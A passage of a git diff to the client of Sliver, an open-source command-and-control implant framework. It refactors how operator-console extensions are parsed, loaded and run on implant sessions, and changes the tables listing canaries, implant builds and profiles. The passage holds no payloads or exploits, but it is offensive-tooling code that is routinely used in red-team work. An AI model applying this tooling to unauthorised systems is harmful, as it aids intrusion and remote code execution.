consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
var commandMap map[string]extensionCommand
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
@@ -78,98 +53,66 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
return
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
@@ -212,7 +155,33 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
@@ -224,7 +193,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
@@ -271,16 +240,16 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
@@ -296,9 +265,9 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
@@ -306,7 +275,7 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, depExt, depBinData, session, ctx)
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
@@ -324,13 +293,13 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ext, ok := loadedExtensions[ctx.Command.Name]
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, ext); err != nil {
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
@@ -365,12 +334,12 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.CommandName
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
@@ -385,11 +354,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
@@ -399,11 +368,10 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
@@ -481,8 +449,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
}
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
@@ -490,3 +457,7 @@ func CmdExists(name string, app *grumble.App) bool {
}
return false
}
func init() {
commandMap = make(map[string]extensionCommand)
}
-77
View File
@@ -1,77 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-4
View File
@@ -81,10 +81,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
+43 -31
View File
@@ -1,15 +1,16 @@
package generate
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
@@ -20,45 +21,56 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if 0 < len(canaries.Canaries) {
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
// PrintCanaries - Print the canaries tracked by the server
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Sliver Name",
"Domain",
"Triggered",
"First Trigger",
"Latest Trigger",
})
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
lineColor := console.Normal
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
if canary.Triggered {
lineColor = console.Bold + console.Red
lineColors = append(lineColors, console.Bold+console.Red)
} else {
lineColors = append(lineColors, console.Normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
firstTrigger,
latestTrigger,
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
+3 -9
View File
@@ -505,13 +505,13 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
@@ -535,22 +535,16 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
+1 -19
View File
@@ -2,9 +2,7 @@ package generate
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -12,24 +10,8 @@ import (
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No name specified\n")
return
}
build := ImplantBuildByName(name, con)
if build == nil {
con.PrintErrorf("No implant build found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
Name: ctx.Args.String("implant-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
+38 -115
View File
@@ -19,29 +19,19 @@ package generate
*/
import (
"bytes"
"context"
"fmt"
"sort"
"io"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ImplantBuildFilter - Filter implant builds
type ImplantBuildFilter struct {
GOOS string
GOARCH string
Beacon bool
Session bool
Format string
Debug bool
}
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -49,118 +39,51 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"OS/Arch",
"Format",
"Command & Control",
"Debug",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("OS/Arch")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Command & Control")),
)
for sliverName, config := range configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
if 0 < len(config.C2) {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
sliverName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("%v", config.Debug),
config.Format,
fmt.Sprintf("[1] %s", config.C2[0].URL),
)
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
"",
"",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
)
}
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
continue
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
sliverName,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
})
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
}
con.Println(tw.Render())
}
// ImplantBuildNameCompleter - Completer for implant build names
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for name, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
continue
}
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
sort.StringSlice(results).Sort()
return results
}
// ImplantBuildByName - Get an implant build by name
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil
}
for _, build := range builds.Configs {
if build.Name == name {
return build
}
}
return nil
table.Flush()
fmt.Fprintf(stdout, "%s", outputBuf.String())
}
+2 -2
View File
@@ -30,9 +30,9 @@ import (
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
name := ctx.Flags.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
con.PrintErrorf("no profile selected")
return
}
save := ctx.Flags.String("save")
+3 -45
View File
@@ -1,22 +1,5 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -27,40 +10,15 @@ import (
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
}
}
// ProfilesNewBeaconCmd - Create a new beacon profile
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
name := ctx.Flags.String("profile-name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
con.PrintErrorf("Invalid profile name\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
@@ -69,6 +27,6 @@ func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
con.PrintInfof("Saved new profile %s\n", resp.Name)
}
}
+1 -37
View File
@@ -1,28 +1,8 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -30,24 +10,8 @@ import (
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("No profile found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: name,
Name: ctx.Args.String("profile-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
+47 -65
View File
@@ -21,15 +21,15 @@ package generate
import (
"context"
"fmt"
"os"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ProfilesCmd - Display implant profiles
@@ -39,75 +39,72 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
return
} else {
PrintProfiles(profiles, con)
}
}
// PrintProfiles - Print the profiles
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Profile Name",
"Implant Type",
"Platform",
"Command & Control",
"Debug",
"Format",
"Obfuscation",
"Limitations",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
})
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")),
)
for _, profile := range profiles {
config := profile.Config
obfuscation := "disabled"
if config.ObfuscateSymbols {
obfuscation = "enabled"
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
)
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
profile.Name,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
})
